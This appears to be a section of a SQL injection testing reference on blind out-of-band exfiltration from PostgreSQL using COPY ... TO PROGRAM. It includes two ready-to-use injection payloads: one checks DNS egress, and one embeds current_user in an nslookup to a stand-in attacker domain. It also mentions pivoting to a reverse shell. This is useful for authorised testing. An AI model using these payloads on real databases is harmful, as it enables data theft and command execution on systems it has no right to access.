When nothing is reflected and timing is too slow, a role with program-execution rights can push data out over the network. PostgreSQL has no built-in HTTP or DNS function, but COPY ... TO PROGRAM runs a shell command, and a command that resolves a crafted hostname leaks data to an attacker name server. This needs a superuser or the pg_execute_server_program role.
A fixed command first confirms both program execution and outbound DNS:
'; COPY (SELECT '') TO PROGRAM 'nslookup confirm.collab.example'--
To carry data, the hostname must include the value to steal, which means building the command string dynamically. A DO block reads the value into a variable and assembles the command with EXECUTE:
'; DO $$ DECLARE p text; BEGIN SELECT current_user INTO p; EXECUTE 'COPY (SELECT '''') TO PROGRAM ''nslookup '||p||'.collab.example'''; END $$--
The attacker's name server for collab.example logs <current_user>.collab.example, revealing the value. Longer or non-DNS-safe values are encoded (for example hex via encode(...,'hex')) and split across labels. A listener such as Burp Collaborator acts as the logging name server.
Because it runs a real command, this is also a stepping stone to full command execution: the same COPY ... TO PROGRAM that resolves a name can start a reverse shell. Out-of-band is simply the lowest-footprint use of that primitive for a blind target.
References#
- PostgreSQL Documentation: COPY ... TO PROGRAM, DO, EXECUTE
- OWASP Testing Guide: Testing for SQL Injection